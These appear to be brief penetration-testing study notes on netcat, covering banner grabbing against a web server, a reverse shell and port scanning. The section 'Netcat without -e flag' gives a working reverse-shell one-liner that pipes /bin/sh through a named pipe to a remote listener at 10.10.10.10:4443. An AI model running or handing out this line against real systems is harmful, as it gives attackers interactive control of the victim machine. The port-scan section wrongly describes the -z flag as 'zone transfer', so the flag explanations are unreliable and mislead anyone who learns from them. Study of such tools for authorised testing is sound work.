# Netcat

* TCP/IP Swiss Army Knife - we will use this tool alot
* Can scan ports but can also be used for:
  * chatting between two computers
  * banner grabbing
  * file transfer
  * for shell
* Traffic is not encrypted ( unless you use **ncat**)

## Banner Grabbing

```
nc -v google.com 80
```

it will connect nc to google server if port 80 is open and then we can query it manually for example

![](/files/-MkmHXqYrcINKpcJd7AD)

after connecting , we can use http parameters like **GET, HEAD, OPTIONS etc** to send the request and server will return the response

## Netcat without -e flag

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f
```

## Port Scanning

```
 nc -nv -w 1 -z 192.168.1.1 1-1024
 
-nv = doesn't resolve dns
-w 1 = sets timeout to 1 second
-z = specifies zone transfer
-u = UDP mode (can be unreliable)
```


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